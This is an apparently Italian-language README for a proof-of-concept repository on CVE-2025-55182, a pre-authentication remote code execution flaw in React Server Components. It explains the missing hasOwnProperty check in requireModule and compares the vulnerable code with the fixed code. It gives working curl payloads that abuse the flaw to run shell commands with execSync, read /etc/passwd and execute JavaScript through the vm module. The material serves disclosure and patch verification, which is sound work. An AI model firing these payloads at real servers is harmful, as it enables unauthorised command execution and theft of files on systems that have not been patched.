joshterrill/cve-2025-55182-realistic-pocuna POC realistica che dimostra la mancanza del controllo `hasOwnProperty` in [email protected]
Una prova di concetto minimale che dimostra la vulnerabilità critica di esecuzione di codice in remoto in [email protected].
Una vulnerabilità RCE pre-autenticazione in React Server Components che consente agli attaccanti di eseguire codice arbitrario sui server che utilizzano il pacchetto vulnerabile react-server-dom-webpack (versioni 19.0.0 - 19.2.0).
Punteggio CVSS: 10 (Critico)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnPropertyLa vulnerabilità è presente nella funzione requireModule dell'implementazione del protocollo Flight di React. Questa funzione carica gli export dei moduli sulla base dei metadati ricevuti dalle richieste dei client.
Codice vulnerabile ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- No validation!
}
Il problema: metadata[NAME] proviene da input dell'utente (la richiesta HTTP). Un attaccante può specificare qualsiasi modulo e nome di export, come child_process#execSync.
Codice corretto ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// FIXED: Validate that the export actually exists
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
La correzione aggiunge hasOwnProperty.call() per garantire che l'export richiesto sia una proprietà diretta del modulo, e non ereditata dalla catena dei prototipi o risolvibile dinamicamente verso moduli pericolosi.
$ACTION_REF_0 e $ACTION_0:0$ACTION_0:0 contiene {"id":"child_process#execSync","bound":["whoami"]}decodeAction analizza tutto questo e chiama requireModule con metadati controllati dall'attaccanterequireModule restituisce require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
Output previsto:
{"success":true,"result":"your-username\n"}
# Read files
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Execute JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeActionHTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parses $ACTION_REF_0 to find action reference │
│ - Parses $ACTION_0:0 to get {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (attacker controlled) │
│ - bound = ["whoami"] (attacker controlled) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Splits "child_process#execSync" into: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Loads require("child_process") │
│ - Returns moduleExports["execSync"] │
│ - NO VALIDATION that "execSync" should be accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXECUTES "whoami" ON SERVER │
└─────────────────────────────────────────────────────────────┘
MIT